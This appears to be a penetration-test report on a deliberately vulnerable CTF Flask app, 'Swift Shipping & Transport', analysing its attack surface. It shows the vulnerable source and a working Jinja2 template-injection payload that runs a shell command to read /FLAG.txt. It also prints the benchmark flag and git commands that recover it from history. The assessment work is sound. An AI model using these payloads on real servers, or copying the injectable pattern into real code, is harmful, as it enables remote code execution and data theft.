# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported below meet the "In-Scope" criteria as network-reachable components.

## In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

## Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

The XBEN-080-24 application ("Swift Shipping & Transport Inc.") is a minimalist Flask web application designed as a CTF (Capture The Flag) challenge that demonstrates severe security vulnerabilities in a deliberately insecure manner. The application presents a **critically vulnerable security posture** with a single, high-impact exploitation path: Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE).

The application collects highly sensitive Personally Identifiable Information (PII) including driver's license numbers, email addresses, and phone numbers through a job application form, yet implements **zero security controls**: no authentication, no authorization, no input validation, no encryption, no CSRF protection, and no security headers. The architectural simplicity creates a focused attack surface centered on a single vulnerable endpoint (`POST /submit`) that accepts user input and passes it directly into a Jinja2 template constructor, enabling arbitrary code execution.

The most critical security failures include: (1) Server-Side Template Injection vulnerability at `app.py:23` allowing arbitrary file read and command execution, (2) CTF flag stored in plaintext at `/FLAG.txt` and committed to Git version control in `.env` file, (3) transmission of all PII data over unencrypted HTTP (port 80), and (4) complete absence of authentication mechanisms leaving all endpoints publicly accessible. The application's minimalist design eliminates certain attack vectors (no database = no SQL injection, no outbound HTTP requests = no SSRF) but the SSTI vulnerability alone provides complete system compromise.

From an external attacker perspective with no internal network access, the application presents a trivial exploitation path requiring a single malicious POST request to extract the CTF flag and achieve remote code execution. The application is non-compliant with GDPR, CCPA, and state privacy laws, and would be immediately subject to regulatory enforcement if deployed in production environments handling real user data.

---

## 2. Architecture & Technology Stack

The XBEN-080-24 application employs a straightforward monolithic architecture built on Flask 3.1.2 running on Python 3.10.19, deployed as a single Docker container without any external service dependencies. The application follows a traditional three-tier pattern collapsed into a single process: the Werkzeug development server handles HTTP requests on port 80, Flask routes requests to Python handler functions, and Jinja2 templates render HTML responses. This architectural simplicity eliminates distributed system complexity but concentrates all attack surface in a single codebase.

**Framework & Language Security Implications**: The application uses Flask 3.1.2 with Jinja2 3.1.6, both mature frameworks with built-in security features like automatic HTML escaping and CSRF protection capabilities—none of which are properly utilized. Python 3.10.19 provides modern security features including secrets module for cryptographic operations and secure default SSL contexts, but the application leverages none of these protections. Most critically, the application uses Werkzeug's development server (`flask run`) in production deployment, which is explicitly documented as unsafe for production use due to lack of security hardening, performance optimization, and DoS protection. The development server runs single-threaded by default and lacks request timeout protections, making it vulnerable to resource exhaustion attacks.

**Architectural Pattern & Trust Boundaries**: The monolithic architecture contains no internal trust boundaries—all code executes with identical privileges in a single process running as root within the Docker container. The application implements no privilege separation, defense-in-depth layers, or security zones. External requests flow directly from the network interface through Werkzeug to Flask handlers to Jinja2 rendering without passing through any authentication, authorization, input validation, or security middleware. This creates a direct path from untrusted user input to privileged operations (template rendering with code execution capabilities) without intervening security controls.

The Docker deployment model provides minimal containerization isolation: the application runs as root (UID 0) inside the container with full filesystem access, network access, and process control. The Dockerfile contains no security hardening measures such as USER directive to drop privileges, read-only root filesystem flags, capability dropping, or seccomp profiles. The container exposes port 80 (HTTP) without TLS termination, making all traffic including sensitive PII data (driver's license numbers, emails, phone numbers) transmitted in plaintext vulnerable to network eavesdropping.

**Critical Security Components**: The application contains zero security components. Analysis reveals no authentication middleware, no authorization decorators, no input validation libraries (no Flask-WTF, no WTForms, no Marshmallow), no security header middleware (no Flask-Talisman), no rate limiting (no Flask-Limiter), no CSRF protection, and no CORS configuration. The requirements.txt file lists only a single dependency: `Flask`. No cryptographic libraries are imported (no cryptography, no bcrypt, no secrets module usage). No Flask secret key is configured (`app.config['SECRET_KEY']` is not set), disabling session encryption and CSRF token generation capabilities. No security headers are configured—the application sets no Content-Security-Policy, X-Frame-Options, Strict-Transport-Security, X-Content-Type-Options, or Referrer-Policy headers, leaving client browsers vulnerable to XSS, clickjacking, and MIME sniffing attacks.

The only security control present is Jinja2's default auto-escaping feature for template variables (enabled by default), which protects against basic XSS attacks when using `{{ variable }}` syntax. However, this protection is rendered irrelevant by the SSTI vulnerability that allows attackers to bypass all output encoding by controlling the template source code itself rather than just template variables.

---

## 3. Authentication & Authorization Deep Dive

The XBEN-080-24 application implements **zero authentication and authorization mechanisms**, presenting a completely open attack surface to unauthenticated external attackers. Comprehensive analysis of the codebase using pattern matching for authentication-related keywords (login, logout, authenticate, signin, signup, register, session, token, JWT, OAuth) across all Python files, configuration files, and templates confirms no authentication infrastructure exists anywhere in the application.

**Authentication Mechanisms**: No authentication endpoints exist in the application. The Flask application defines exactly four routes (`GET /`, `GET /about`, `GET /application`, `POST /submit`) and none implement authentication checks. There are no login forms, no user credential validation functions, and no session management. The application does not import or utilize any authentication libraries—no Flask-Login, no Flask-Security, no Flask-HTTPAuth, no PyJWT, no python-jose, and no OAuth client libraries. No password hashing functionality exists (no bcrypt, no werkzeug.security imports, no hashlib usage for password hashing). The absence of authentication is intentional for this CTF challenge but represents a critical vulnerability in the context of collecting sensitive PII data (driver's license numbers, emails, phone numbers) through the job application form at `/application`.

**API Endpoints Used for Authentication**: None exist. There are no authentication-specific endpoints. All four application endpoints are publicly accessible without any credential requirements:
- `GET /` - Home page (static, no auth required)
- `GET /about` - About page (static, no auth required)  
- `GET /application` - Job application form (public, no auth required)
- `POST /submit` - Form submission handler (public, no auth required) **[VULNERABLE ENDPOINT]**

**Session Management and Token Security**: No session management is implemented. Analysis of `app.py` reveals no Flask secret key configuration—`app.config['SECRET_KEY']` is never set anywhere in the codebase. Without a secret key, Flask cannot create cryptographically signed session cookies, effectively disabling server-side session management. No session cookies are explicitly configured, meaning the application never calls `session[]` to store user state, never uses `@login_required` decorators (which don't exist), and never validates session tokens. No JWT (JSON Web Token) implementation exists—no token generation functions, no token validation middleware, no bearer token authentication handlers. No API key authentication is present—no checks for `Authorization` headers, no X-API-Key validation, and no token-based access control.

**Session Cookie Flags Configuration**: Not applicable as no session cookies are used, but critically, if sessions were implemented without proper configuration, they would be vulnerable. Analysis shows no cookie configuration in the codebase. Specifically, the following secure cookie flags are **not configured anywhere**:
- **HttpOnly**: Not set (file: N/A, line: N/A) - would allow JavaScript to access session cookies, enabling session theft via XSS
- **Secure**: Not set (file: N/A, line: N/A) - would allow cookies to be transmitted over HTTP instead of HTTPS-only, enabling session interception via network sniffing
- **SameSite**: Not set (file: N/A, line: N/A) - would allow cross-site request forgery attacks against authenticated endpoints

The absence of these cookie security flags combined with HTTP-only deployment (no HTTPS on port 80) means any future session implementation would be fundamentally insecure, vulnerable to session hijacking via network interception.

**Authorization Model and Potential Bypass Scenarios**: No authorization model exists. The application implements no Role-Based Access Control (RBAC), no Attribute-Based Access Control (ABAC), no permission checking decorators, and no authorization middleware. All endpoints execute with identical privileges—there is no concept of admin vs. user roles, no resource ownership validation, and no privilege levels. Code analysis confirms no authorization decorators like `@requires_auth`, `@admin_required`, or `@permission_required` exist in the codebase. No authorization bypass scenarios exist because there is no authorization to bypass—all functionality is equally accessible to all unauthenticated users.

From a penetration testing perspective, this represents the most severe authentication failure: complete absence of access controls means an external attacker can immediately access all application functionality including the vulnerable `POST /submit` endpoint that enables SSTI exploitation and flag extraction without any authentication hurdles.

**Multi-Tenancy Security Implementation**: Not applicable. The application is single-tenant with no user accounts, no data segregation, and no tenant isolation mechanisms. However, it's critical to note that the application collects PII from multiple users through the job application form but never stores or segregates this data—all submitted information is immediately discarded after rendering the response, creating a privacy violation where users are misled about data collection practices.

**SSO/OAuth/OIDC Flows**: Not implemented. No Single Sign-On integration exists. Analysis confirms no OAuth 2.0 client libraries (no authlib, no oauthlib, no requests-oauthlib), no OpenID Connect implementations, no SAML handlers, and no third-party authentication integrations (no Flask-Dance, no social auth libraries). There are no OAuth callback endpoints (no `/callback`, `/auth/callback`, or similar routes), no state parameter validation logic, no nonce parameter validation for replay attack prevention, and no PKCE (Proof Key for Code Exchange) implementation for authorization code flow protection. The absence of OAuth infrastructure eliminates OAuth-specific vulnerabilities but also means no secure authentication mechanism exists to protect the sensitive PII data being collected.

**Critical Authorization Bypass Path**: While no authorization exists to bypass, the security implication is that an external attacker can directly exploit the SSTI vulnerability without needing to first compromise credentials, escalate privileges, or bypass authentication checks. The attack path is direct: `External Network → HTTP POST /submit → SSTI → RCE → Flag Extraction`, with zero authentication barriers.

---

## 4. Data Security & Storage

The XBEN-080-24 application demonstrates **catastrophic data security failures** across all domains: no database, no encryption, secrets committed to version control, and a paradoxical data handling pattern where highly sensitive PII is collected but immediately discarded. This section analyzes data security from the perspective of both the CTF flag (the intended target) and the inadvertent collection of real user PII through the job application form.

**Database Security**: No database exists. Exhaustive analysis confirms the application contains no database technologies—no SQLite, no PostgreSQL (psycopg2), no MySQL, no MongoDB, no Redis, and no database connectivity code. The `requirements.txt` file lists only Flask as a dependency. No Object-Relational Mapping (ORM) frameworks are present—no SQLAlchemy, no Peewee, no Django ORM. File system searches reveal no database files (`.db`, `.sqlite`, `.sqlite3` extensions). This absence eliminates SQL injection vulnerabilities, database credential exposure, and data-at-rest concerns, but creates a severe data handling anomaly: the application's job application form collects five fields (name, email, phone, driving experience, driver's license number) but the backend at `app.py:20` only extracts the `name` field—the remaining four fields including highly sensitive driver's license numbers are collected via HTML form then **never accessed in backend code**, creating a misleading data collection practice that violates GDPR's data minimization principle.

**Sensitive Data Flows and Protection Mechanisms**: The application collects Personally Identifiable Information (PII) classified as high-sensitivity under GDPR and CCPA regulations:
1. **Driver's License Numbers** (CRITICAL sensitivity) - Collected at `templates/application.html:27-28`, regulated by the federal Driver's Privacy Protection Act (DPPA) and state DMV privacy laws
2. **Email Addresses** (HIGH sensitivity) - Collected at `templates/application.html:15-16`, PII under GDPR Article 4(1)
3. **Phone Numbers** (HIGH sensitivity) - Collected at `templates/application.html:19-20`, PII under GDPR and CCPA
4. **Full Names** (MEDIUM sensitivity) - Collected at `templates/application.html:11-12`, identifiers under CCPA
5. **Driving Experience** (LOW sensitivity) - Collected at `templates/application.html:23-24`, professional information

The complete data flow analysis reveals critical protection failures:

```
User Input (application.html form) 
    ↓ POST /submit
Backend Processing (app.py:20)
    ↓ name = request.form['name']  ← ONLY this field extracted
    ↓ email, phone, license, experience ← NEVER ACCESSED
    ↓ SSTI Vulnerability (lines 22-24)
    ↓ Jinja2 Template Rendering
    ↓ HTTP Response (plaintext, no TLS)
    ↓ DATA DISCARDED (no storage, no logging, no transmission)
```

**Zero data protection mechanisms exist**: No input validation (no length limits, no format validation for email/phone/license fields), no sanitization, no encryption in transit (HTTP on port 80, no HTTPS), no encryption at rest (no storage layer), no output encoding beyond Jinja2's default auto-escaping (which is bypassed by SSTI), and no data minimization (collecting unnecessary fields that are never used). All PII transmission occurs over unencrypted HTTP, making driver's license numbers, emails, and phone numbers vulnerable to network eavesdropping via man-in-the-middle attacks, ISP logging, or WiFi packet capture.

**Multi-Tenant Data Isolation**: Not applicable—the application is single-tenant with no user accounts. However, the ephemeral nature of data handling creates an unintended form of "isolation": each form submission's data exists only temporarily in the HTTP request object before being discarded, preventing cross-contamination between submissions but also providing zero business value and misleading users about data retention.

**CTF Flag Security - The Primary Data Asset**: The CTF flag (`flag{43509ba5-dc71-4a57-b55d-96e228e4ddfe}`) demonstrates severe secret management failures with three independent exposure vectors:

1. **Plaintext File Storage** - The flag is written to `/FLAG.txt` at container build time (`Dockerfile:20: RUN echo -n $FLAG > /FLAG.txt`). File permissions are default world-readable (644), the Flask application runs as root with full filesystem access, and no encryption protects the file contents. The SSTI vulnerability at `app.py:23` enables arbitrary file read through Jinja2 template injection payloads like `{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /FLAG.txt').read()}}`.

2. **Version Control Exposure** - The flag value is committed to Git in `.env` file at project root (`.env:1: FLAG="flag{43509ba5-dc71-4a57-b55d-96e228e4ddfe}"`). Git history analysis reveals the .env file was present in the initial commit (commit hash `bea93d6`), making the flag permanently accessible via `git show bea93d6:.env` even if the file is later removed. No `.gitignore` file exists to prevent secret commits. This represents an irreversible secret exposure requiring git history rewrite (git-filter-repo) to remediate.

3. **Docker Build Argument Exposure** - The flag is passed as a Docker build argument (`docker-compose.yml:6: args: - FLAG`), which is **fundamentally insecure** because build arguments are stored in Docker image metadata and extractable via `docker history <image>` command, persisting the secret in image layers even if the runtime environment variable is removed.

**Encryption Implementation**: Zero cryptographic protections exist. Analysis confirms no cryptographic libraries are imported or used—no `cryptography` module, no `pycryptodome`, no `bcrypt`, no `scrypt`, no `argon2`, no `hashlib` for secure hashing. The `requirements.txt` contains only Flask. No encryption at rest (no database to encrypt), no encryption in transit (HTTP only, no TLS), no password hashing (no authentication system), no HMAC signatures for data integrity, and no secure random token generation (no usage of Python's `secrets` module). The application's deployment on HTTP port 80 (`docker-compose.yml:8: ports: 36217:80`) without TLS termination means all collected PII data is transmitted in plaintext, violating GDPR Article 32 requirements for encryption of personal data in transit.

**Secret Management Failures**: The application demonstrates textbook examples of secret management anti-patterns that would be catastrophic in production environments:
- **Secrets in version control** - .env file with flag committed to Git (irreversible exposure)
- **No secret rotation** - Flag value static since initial commit, no rotation mechanisms
- **Build-time secrets** - Flag passed as Docker ARG (insecure, extractable from image metadata)
- **No secret management tools** - No HashiCorp Vault, no AWS Secrets Manager, no Azure Key Vault integration
- **No Flask secret key** - `app.config['SECRET_KEY']` never set, disabling session encryption and CSRF protection
- **Root filesystem access** - Application runs as root with read access to /FLAG.txt, violating least privilege principle

**Compliance Violations**: The data handling practices create severe regulatory violations:
- **GDPR Article 32** (Security of Processing) - No encryption in transit or at rest, no pseudonymization, no technical measures to ensure security appropriate to risk. High-risk PII (driver's licenses) transmitted over plaintext HTTP.
- **GDPR Article 5(1)(c)** (Data Minimization) - Collecting email, phone, license, and experience fields that are never processed or stored, violating principle of collecting only necessary data.
- **GDPR Article 13** (Information to be provided) - No privacy notice, no disclosure of data processing purposes, no information about retention periods or data subject rights.
- **CCPA § 1798.100** (Consumer's Right to Know) - No privacy policy, no "Do Not Sell My Personal Information" link, no disclosure of PII categories collected.
- **Driver's Privacy Protection Act (DPPA)** - No permissible use justification for collecting driver's license numbers, no consent mechanism, no secure handling procedures.

**Data Retention Paradox**: The application implements immediate data deletion (zero-second retention) unintentionally—submitted form data exists only in the HTTP request object's memory space and is garbage-collected after response generation. While this minimizes long-term exposure risk, it creates compliance issues: (1) misleading data collection where users believe their application data is stored for job consideration when it's actually discarded, (2) violation of GDPR's transparency principle by not disclosing immediate deletion, and (3) collection of unnecessary data (driver's licenses) with zero business purpose, violating data minimization requirements.

---

## 5. Attack Surface Analysis

The XBEN-080-24 application presents a minimal but highly vulnerable attack surface consisting of exactly four network-accessible HTTP endpoints, all publicly exposed without authentication requirements. The attack surface architecture follows a direct path from external network to vulnerable code execution without intervening security layers, creating what penetration testers classify as a "direct-to-exploit" scenario.

**External Entry Points - Complete Enumeration**:

**1. GET / - Home Page (Index)**
- **File**: `app.py:6-8`
- **Route Definition**: `@app.route('/') def index(): return render_template('index.html')`
- **Template**: `templates/index.html`
- **Network Accessibility**: Public, unauthenticated
- **Input Parameters**: None (GET request with no query parameters processed)
- **Security Assessment**: Low risk. Static page serving company information about Swift Shipping & Transport Inc. No user input processing, no database queries, no external API calls. Template rendering uses static HTML with no dynamic variable interpolation. XSS protection via Jinja2 auto-escaping (though no user input exists to escape).
- **Potential Attack Vectors**: None identified. Static content serving with no user-controllable data flows.

**2. GET /about - About Company Page**
- **File**: `app.py:10-12`
- **Route Definition**: `@app.route('/about') def about(): return render_template('about.html')`
- **Template**: `templates/about.html`
- **Network Accessibility**: Public, unauthenticated
- **Input Parameters**: None (GET request with no query parameters processed)
- **Security Assessment**: Low risk. Static page with company history, services description, and team information. Contains a non-functional contact form (lines 97-111 of about.html) that has no corresponding POST endpoint, making it a "dead form" that appears interactive but doesn't actually process submissions. No security impact from dead form, but represents poor UX design.
- **Potential Attack Vectors**: None identified. Dead form at bottom of page has no backend handler so cannot be exploited.

**3. GET /application - Job Application Form**
- **File**: `app.py:14-16`
- **Route Definition**: `@app.route('/application') def application(): return render_template('application.html')`
- **Template**: `templates/application.html`
- **Network Accessibility**: Public, unauthenticated
- **Input Parameters**: None for GET request (displays form only)
- **Form Fields Rendered** (lines 10-29 of application.html):
  - `name` (text input, required) - Line 11-12
  - `email` (email input, required, HTML5 validation) - Line 15-16
  - `phone` (tel input, required, HTML5 validation) - Line 19-20
  - `experience` (number input, min=0, required) - Line 23-24
  - `license` (text input, required) - Line 27-28
  - Form action: `POST /submit`
- **Security Assessment**: Medium risk from data collection perspective. Form collects highly sensitive PII (driver's license numbers) that is transmitted over plaintext HTTP. No CSRF token present in form (line 9: `<form action="/submit" method="POST">` with no hidden CSRF field). HTML5 client-side validation only (easily bypassed via cURL, Burp Suite, or browser dev tools). No rate limiting or bot protection (no CAPTCHA, no honeypot fields).
- **Potential Attack Vectors**: CSRF attacks possible (no token validation), automated form spam (no rate limiting), data interception via MITM (HTTP only, no HTTPS).

**4. POST /submit - Form Submission Handler [CRITICAL VULNERABILITY]**
- **File**: `app.py:18-27`
- **Route Definition**: `@app.route('/submit', methods=['POST'])`
- **Network Accessibility**: Public, unauthenticated, accepts POST requests from any origin
- **Input Parameters**: 
  - Required: `name` (extracted at line 20: `name = request.form['name']`)
  - Ignored: `email`, `phone`, `experience`, `license` (form submits them but backend never accesses)
- **Code Flow**:
  ```python
  @app.route('/submit', methods=['POST'])
  def submit():
      name = request.form['name']  # Line 20: User input extraction
      try:
          thank_you_message = f'Thank you {name} for your submission.'  # Line 22: String interpolation
          template = Template(thank_you_message)  # Line 23: SSTI SINK - Dynamic template creation
          rendered_template = template.render()  # Line 24: Template execution
      except Exception as e:
          rendered_template = str(e)  # Line 26: Exception exposure
      return render_template('thank_you.html', rendered_template=rendered_template)  # Line 27: Output
  ```
- **Security Assessment**: **CRITICAL RISK - REMOTE CODE EXECUTION**. This endpoint contains a textbook Server-Side Template Injection (SSTI) vulnerability. The `name` parameter from user input is directly interpolated into an f-string, then the entire string (including user-controlled content) is passed to the Jinja2 `Template()` constructor. This allows attackers to inject Jinja2 template syntax that gets executed server-side with full Python interpreter access.
- **Input Validation**: NONE. No length limits, no character whitelisting, no sanitization, no encoding. The backend accepts any string value in the `name` parameter and passes it directly to template rendering.
- **Authentication Requirement**: NONE. Endpoint is publicly accessible without any authentication or authorization checks.
- **CSRF Protection**: NONE. No token validation in POST handler, making CSRF attacks possible (though the SSTI vulnerability is far more critical).
- **Rate Limiting**: NONE. No request throttling, allowing automated exploitation or brute-force attacks.
- **Exception Exposure**: Line 26 exposes raw Python exception messages to users via `rendered_template = str(e)`, potentially leaking internal application structure, file paths, and debugging information.

**SSTI Exploitation Path**:
```
Attacker crafts malicious POST request:
POST /submit HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

name={{config.items()}}  ← Jinja2 template syntax injected
    ↓
Flask receives request at POST /submit (line 18)
    ↓
Backend extracts: name = "{{config.items()}}" (line 20)
    ↓
F-string interpolation: "Thank you {{config.items()}} for your submission." (line 22)
    ↓
Template() constructor creates Jinja2 template from malicious string (line 23)
    ↓
template.render() executes injected template syntax (line 24)
    ↓
Jinja2 evaluates {{config.items()}} → Flask config object dumped
    ↓
Response contains sensitive configuration data
```

**Advanced RCE Payload Example**:
```python
# Payload in 'name' parameter:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /FLAG.txt').read()}}

# Exploitation flow:
1. Access Python's object hierarchy via empty string ''.__class__
2. Traverse to base object class via __mro__[1] (Method Resolution Order)
3. Enumerate all subclasses to find usable classes
4. Access __init__.__globals__ to reach imported modules
5. Get 'sys' module, access 'os' module via sys.modules['os']
6. Execute system command: os.popen('cat /FLAG.txt')
7. Read and return flag content
```

**Internal Service Communication**: Not applicable. The application is a monolithic single-process Flask server with no microservices, no internal APIs, no message queues, no service-to-service authentication, and no inter-process communication mechanisms. All functionality executes within a single Python process as a single trust domain with no internal trust boundaries.

**Input Validation Patterns**: The application implements **zero server-side input validation**. Analysis of the POST /submit handler at `app.py:20-27` reveals no validation libraries imported (no WTForms, no Flask-WTF, no Marshmallow, no Cerberus), no manual validation functions (no length checks, no regex pattern matching, no type validation), no sanitization (no html.escape(), no bleach library usage), and no input filtering. The only validation present is HTML5 client-side validation in the form (required attributes, type="email", type="tel") which is trivially bypassed by sending raw HTTP POST requests via cURL, Python requests library, or Burp Suite.

The Jinja2 template engine provides automatic HTML escaping by default when using `{{ variable }}` syntax in templates, which protects against basic XSS when rendering user-provided data. However, this protection is completely bypassed by the SSTI vulnerability at line 23 where user input controls the **template source code itself** rather than just template variables, allowing attackers to inject arbitrary template directives that execute before any escaping occurs.

**Background Processing**: None. The application has no asynchronous job queues (no Celery, no RQ, no Huey), no background workers, no scheduled tasks (no APScheduler, no cron jobs), and no long-running processes. All request handling is synchronous—each HTTP request is processed immediately in the Flask handler function and returns a response directly. This eliminates background job security concerns (no job queue injection, no unauthorized job scheduling) but also means the SSTI vulnerability is executed synchronously in the web server process with full application privileges, amplifying the impact of exploitation.

**Attack Surface Scope Filter Applied**: All four endpoints listed above are **IN-SCOPE** as network-accessible components. The application contains no local-only CLI tools, no build scripts accessible via routes, no database migration scripts exposed as endpoints, and no developer-only debugging utilities mapped to HTTP routes. The .dockerignore analysis and codebase structure confirm no development tooling or local-only scripts are deployed to the container or exposed via Flask routes.

**Attack Surface Summary Statistics**:
- **Total Network-Accessible Endpoints**: 4
- **Unauthenticated Endpoints**: 4 (100%)
- **Endpoints with Input Processing**: 1 (POST /submit)
- **Critical Vulnerabilities**: 1 (SSTI leading to RCE)
- **High Severity Vulnerabilities**: 0
- **Medium Severity Vulnerabilities**: 3 (no HTTPS, no CSRF protection, no rate limiting)
- **Direct Exploitation Paths**: 1 (POST /submit SSTI)

The attack surface's defining characteristic is its extreme simplicity combined with extreme vulnerability—a single exploitable endpoint that requires no authentication and provides immediate remote code execution with a single malicious HTTP request.

---

## 6. Infrastructure & Operational Security

The XBEN-080-24 application's infrastructure demonstrates critical operational security failures across deployment configuration, secret management, containerization practices, and monitoring capabilities. Analysis of Docker configurations, container runtime settings, and deployment architecture reveals an application built without production security hardening.

**Secrets Management**: The application implements catastrophically insecure secret management with the CTF flag exposed through three independent vectors, demonstrating real-world anti-patterns that would result in immediate compromise in production environments.

**Primary Secret Exposure - Version Control Commit** (File: `.env`, Line: 1):
```bash
FLAG="flag{43509ba5-dc71-4a57-b55d-96e228e4ddfe}"
```
The .env file containing the flag is committed directly to Git repository history. Git log analysis reveals the file was present in the initial commit (commit hash `bea93d6667dbd5f742bbd50c7401a8149c3a86ae` with message "Initial checkpoint: Local repository setup"), making the flag permanently accessible via git history commands (`git show bea93d6:.env` or `git log --all --full-history -- .env`) even if the file is later removed from HEAD. This represents an irreversible secret exposure that cannot be remediated without rewriting git history using tools like git-filter-repo or BFG Repo-Cleaner. No `.gitignore` file exists in the repository root to prevent future accidental secret commits.

**Docker Build Argument Exposure** (File: `docker-compose.yml`, Lines: 4-6):
```yaml
build:
  context: ./app
  args:
    - FLAG
```
The flag is passed as a Docker build argument which is **fundamentally insecure** for secret management. Docker build arguments are stored in image metadata and remain accessible via `docker history <image_name>` command even after the container is running. Build arguments are intended for non-secret build-time configuration like version numbers or build flags, never for sensitive data. The Dockerfile consumes this build arg at line 19-20:
```dockerfile
ARG FLAG
RUN echo -n $FLAG > /FLAG.txt
```
This architecture creates persistent secret storage in both Docker image layers (via ARG) and the container filesystem (via /FLAG.txt file).

**Runtime Secret Storage** (File: `Dockerfile`, Line: 20):
The flag is written to `/FLAG.txt` in the container filesystem at image build time with no encryption, no restrictive file permissions set, and no access controls. The Flask application runs as root user (UID 0) with unrestricted filesystem read access, and the SSTI vulnerability provides arbitrary file read capability, making the flag trivially extractable.

**Secret Rotation**: No secret rotation mechanisms exist. The flag value has remained static since initial commit with no rotation schedules, no secret expiration policies, and no automated rotation tooling. No integration with secret management platforms (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Kubernetes Secrets with external secrets operators) exists.

**Flask Secret Key**: The application fails to set Flask's `app.config['SECRET_KEY']` parameter (confirmed by analyzing `app.py` lines 1-30, where only `app = Flask(__name__, static_folder='static/')` is called without subsequent configuration). Without a secret key, Flask cannot cryptographically sign session cookies, disabling secure session management and preventing CSRF token generation. If sessions were implemented without a secret key, session cookies would be forgeable by attackers.

**Configuration Security**: The application demonstrates insecure configuration management across multiple dimensions:

**Environment Separation** (File: `docker-compose.yml`, Lines: 1-9):
```yaml
version: '3.8'
services:
  web:
    build:
      context: ./app
      args:
        - FLAG
    ports:
      - "36217:80"
```
No environment-specific configurations exist—no separate dev/staging/prod compose files, no environment variable differentiation, and no configuration hierarchy. The same docker-compose.yml file is used for all environments, preventing security hardening in production (e.g., enabling debug mode in dev while disabling in prod).

**Port Exposure**: The application exposes HTTP on port 80 (mapped to host port 36217), with no HTTPS/TLS configuration. The docker-compose.yml contains no nginx/HAProxy reverse proxy service for TLS termination, no Let's Encrypt integration, and no certificate volume mounts. All traffic including sensitive PII data (driver's license numbers, emails, phone numbers) is transmitted unencrypted.

**Container Security Configuration** (File: `Dockerfile`, Lines: 1-25):
```dockerfile
FROM python:3.10.19-slim
WORKDIR /app/website
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
EXPOSE 80
CMD ["flask", "run", "--host=0.0.0.0", "-p 80"]
```

**Critical Container Security Failures**:

1. **Root User Execution**: The Dockerfile contains no `USER` directive, meaning the Flask application runs as root (UID 0) inside the container. This violates the principle of least privilege and means any code execution vulnerability (like the SSTI) executes with full container administrator privileges, enabling container escape attacks, filesystem manipulation, and process control.

2. **No Read-Only Root Filesystem**: The container runs with a writable root filesystem. No `--read-only` flag in docker-compose.yml, no `readOnlyRootFilesystem: true` in Kubernetes manifests (none exist). Attackers exploiting the SSTI vulnerability can write files anywhere in the container filesystem.

3. **No Capability Dropping**: The container runs with default Docker capabilities (CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FOWNER, CAP_KILL, CAP_SETGID, CAP_SETUID, CAP_NET_BIND_SERVICE, etc.). No `cap_drop: ALL` or `cap_add: [CAP_NET_BIND_SERVICE]` directives in docker-compose.yml. The application only needs CAP_NET_BIND_SERVICE to bind port 80, but receives 14+ capabilities by default.

4. **No Security Profiles**: No AppArmor profile, no SELinux context, no seccomp profile defined. The docker-compose.yml contains no `security_opt: ["no-new-privileges:true"]` directive, allowing privilege escalation within the container.

5. **No Resource Limits**: No CPU limits (`cpus`), no memory limits (`mem_limit`), no PID limits (`pids_limit`) defined in docker-compose.yml. Attackers exploiting the SSTI can execute fork bombs, CPU exhaustion attacks, or memory exhaustion to DoS the host system.

6. **Development Server in Production**: The Dockerfile CMD uses `flask run` which starts Werkzeug's development server. The Flask documentation explicitly warns this server is "not designed to be particularly efficient, stable, or secure" and should never be used in production. No production WSGI server (Gunicorn, uWSGI, Waitress) is configured. The development server is single-threaded by default, has no request timeout protection, and exposes detailed error pages with stack traces.

**External Dependencies**: The application has minimal external dependencies which reduces supply chain attack surface but also indicates lack of security tooling:

**Python Dependencies** (File: `requirements.txt`, Line: 1):
```
Flask
```
Only Flask is listed (no version pin, allowing any Flask version >= 0.0.0, though Dockerfile uses Python 3.10.19 which defaults to Flask 3.1.2). No security dependencies like:
- No Flask-Talisman (security headers)
- No Flask-Limiter (rate limiting)
- No Flask-WTF (CSRF protection, form validation)
- No cryptography libraries (cryptography, bcrypt, argon2)
- No security scanning tools (bandit, safety)

**Client-Side CDN Dependencies** (Files: `templates/*.html`):
```html
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js">
```
Bootstrap 5.3.0 loaded from jsDelivr CDN without Subresource Integrity (SRI) hashes. If jsDelivr is compromised or MITMed, malicious JavaScript could be injected. No SRI attributes like `integrity="sha384-..."` present. However, these are client-side resources fetched by user browsers, not server-side dependencies, so they don't create SSRF or supply chain risks for the Flask server itself.

**Third-Party Services**: None. The application makes no external API calls (confirmed by lack of requests/urllib/httpx libraries), no database connections to external services, no email service integration (no SMTP, no SendGrid/Mailgun), no payment processing (no Stripe/PayPal), no OAuth providers, and no cloud service SDKs (no boto3 for AWS, no google-cloud libraries). This minimizes attack surface from third-party compromises but also means no security services like WAF (Cloudflare, AWS WAF), DDoS protection, or security monitoring are integrated.

**Monitoring & Logging**: The application implements **zero security monitoring or logging**:

**Application Logging** (File: `app.py`, Lines: 1-30):
No logging configured. The Python `logging` module is not imported, no logger instances are created, no log handlers configured. Flask's default behavior logs to stderr (typically captured by Docker), but only logs HTTP request lines like `"GET /application HTTP/1.1" 200 -`, not security-relevant events.

**No Security Event Logging**:
- No authentication attempt logging (no authentication exists)
- No failed request logging (4xx/5xx responses)
- No input validation failure logging (no validation exists)
- No rate limit violation logging (no rate limiting exists)
- No SSTI exploitation attempt detection or logging

